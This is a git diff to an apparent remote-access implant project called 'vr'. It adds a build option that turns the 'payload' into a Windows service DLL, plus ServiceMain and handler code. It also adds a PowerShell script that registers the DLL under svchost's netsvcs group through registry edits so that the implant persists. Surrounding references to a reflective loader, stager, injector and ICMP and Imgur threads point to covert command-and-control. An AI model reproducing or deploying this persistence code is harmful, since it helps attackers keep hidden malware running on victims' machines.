diff --git a/CMakeLists.txt b/CMakeLists.txt index b7bac0f..1a0604b 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -93,5 +93,7 @@ macro (export_reflective_loader TARGET) endif () endmacro () +option(VR_PAYLOAD_SERVICE "Build payload as service dll" OFF) + add_subdirectory(dep) add_subdirectory(src) diff --git a/service.ps1 b/service.ps1 new file mode 100644 index 0000000..07973f3 --- /dev/null +++ b/service.ps1 @@ -0,0 +1,39 @@ +# +# MIT License +# +# Copyright (c) 2019 Rokas Kupstys +# +# Permission is hereby granted, free of charge, to any person obtaining a +# copy of this software and associated documentation files (the "Software"), +# to deal in the Software without restriction, including without limitation +# the rights to use, copy, modify, merge, publish, distribute, sublicense, +# and/or sell copies of the Software, and to permit persons to whom the +# Software is furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL +# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +# DEALINGS IN THE SOFTWARE. +# +param([switch]$remove, [String]$path, [String]$name='vr', [String]$group='netsvcs') +$path = $(Resolve-Path $path) + +$svclist = (Get-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group).$group +$svclist = $svclist|where{$_ -ne $name } +if (!$remove) { + $svclist += $name +} +New-ItemProperty -path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\svchost' -name $group -value $svclist +sc.exe delete $name + +if (!$remove) { + sc.exe create $name binPath= "%systemroot%\system32\svchost.exe -k $group" type= share + New-Item -Path HKLM:\SYSTEM\CurrentControlSet\services\$name -name Parameters + New-ItemProperty -path HKLM:\SYSTEM\CurrentControlSet\services\$name\Parameters -propertyType ExpandString -name ServiceDll -value $path +} diff --git a/src/shared/CMakeLists.txt b/src/shared/CMakeLists.txt index 4bfc2a4..eb96962 100644 --- a/src/shared/CMakeLists.txt +++ b/src/shared/CMakeLists.txt @@ -27,8 +27,9 @@ add_custom_command( OUTPUT ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h COMMAND ${CMAKE_COMMAND} -DVR_CONFIG=${VR_CONFIG} -DVR_SOURCE_DIR=${VR_SOURCE_DIR} -DOUTPUT_BIN_DIRECTORY=${OUTPUT_BIN_DIRECTORY} -P ${VR_SOURCE_DIR}/configure.cmake - COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py) -set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE) + COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/vr.py ${OUTPUT_BIN_DIRECTORY}/vr.py + COMMAND ${CMAKE_COMMAND} -E copy ${VR_SOURCE_DIR}/service.ps1 ${OUTPUT_BIN_DIRECTORY}/service.ps1) +set_source_files_properties(${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CMAKE_CFG_INTDIR}/vr-config.h PROPERTIES GENERATED TRUE) # Build shared library file(GLOB_RECURSE SOURCE_FILES *.c *.cpp *.h *.hpp) diff --git a/src/vr/CMakeLists.txt b/src/vr/CMakeLists.txt index 5ae94b5..62da0c2 100644 --- a/src/vr/CMakeLists.txt +++ b/src/vr/CMakeLists.txt @@ -23,7 +23,13 @@ # file(GLOB_RECURSE SOURCE_FILES *.h *.hpp *.cpp) -add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG}) +if (VR_PAYLOAD_SERVICE) + add_library(vr MODULE ${SOURCE_FILES} ${VR_CONFIG}) + target_compile_definitions(vr PRIVATE -DVR_PAYLOAD_SERVICE=1) +else () + add_executable(vr WIN32 ${SOURCE_FILES} ${VR_CONFIG}) + export_reflective_loader(vr) +endif () target_link_libraries(vr shared tiny-json ws2_32 iphlpapi) export_reflective_loader(vr) add_dependencies(vr gts stager) diff --git a/src/vr/main.cpp b/src/vr/main.cpp index 888b177..9b1c288 100644 --- a/src/vr/main.cpp +++ b/src/vr/main.cpp @@ -34,6 +34,8 @@ void icmp_thread(context& ctx); void imgur_thread(context& ctx); void injector_thread(context& ctx); +coroutine_loop loop{}; + INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow) { deterministic_uuid_seed = get_machine_hash(); @@ -47,7 +49,6 @@ INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, WSAStartup(0x0202, &wsa); context ctx{}; - coroutine_loop loop{}; coroutine_loop::activate(loop); coro_start([&ctx]() { icmp_thread(ctx); }); @@ -61,3 +62,66 @@ INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, CloseHandle(hMutex); return 0; } + +#if VR_PAYLOAD_SERVICE +BOOL APIENTRY DllMain(HMODULE module, DWORD reason, LPVOID reserved) +{ + return true; +} + +HANDLE main_thread_handle = nullptr; +SERVICE_STATUS_HANDLE svc_status_handle = nullptr; +SERVICE_STATUS svc_status = +{ + SERVICE_WIN32_SHARE_PROCESS, + SERVICE_START_PENDING, + SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN | SERVICE_ACCEPT_PAUSE_CONTINUE +}; + +DWORD WINAPI MainThread(LPVOID) +{ + DWORD result = WinMain(0, 0, nullptr, 0); + svc_status.dwCurrentState = SERVICE_STOPPED; + SetServiceStatus(svc_status_handle, &svc_status); + return result; +} + +DWORD WINAPI ServiceHandler(DWORD dwControl, DWORD dwEventType, LPVOID lpEventData, LPVOID lpContext) +{ + switch (dwControl) + { + case SERVICE_CONTROL_STOP: + case SERVICE_CONTROL_SHUTDOWN: + loop.stop_all(); + WaitForSingleObject(main_thread_handle, INFINITE); + CloseHandle(main_thread_handle); + main_thread_handle = nullptr; + svc_status.dwCurrentState = SERVICE_STOPPED; + break; + case SERVICE_CONTROL_PAUSE: + svc_status.dwCurrentState = SERVICE_PAUSED; + SuspendThread(main_thread_handle); + break; + case SERVICE_CONTROL_CONTINUE: + svc_status.dwCurrentState = SERVICE_RUNNING; + ResumeThread(main_thread_handle); + break; + case SERVICE_CONTROL_INTERROGATE: + break; + default: + break; + }; + SetServiceStatus(svc_status_handle, &svc_status); + return NO_ERROR; +} + +extern "C" __declspec(dllexport) void WINAPI ServiceMain(DWORD dwArgc, LPWSTR* lpszArgv) +{ + svc_status_handle = RegisterServiceCtrlHandlerExW(L"vr", ServiceHandler, nullptr); + if (!svc_status_handle) + return; + main_thread_handle = CreateThread(nullptr, 0, &MainThread, nullptr, 0, nullptr); + svc_status.dwCurrentState = main_thread_handle ? SERVICE_RUNNING : SERVICE_STOPPED; + SetServiceStatus(svc_status_handle, &svc_status); +} +#endif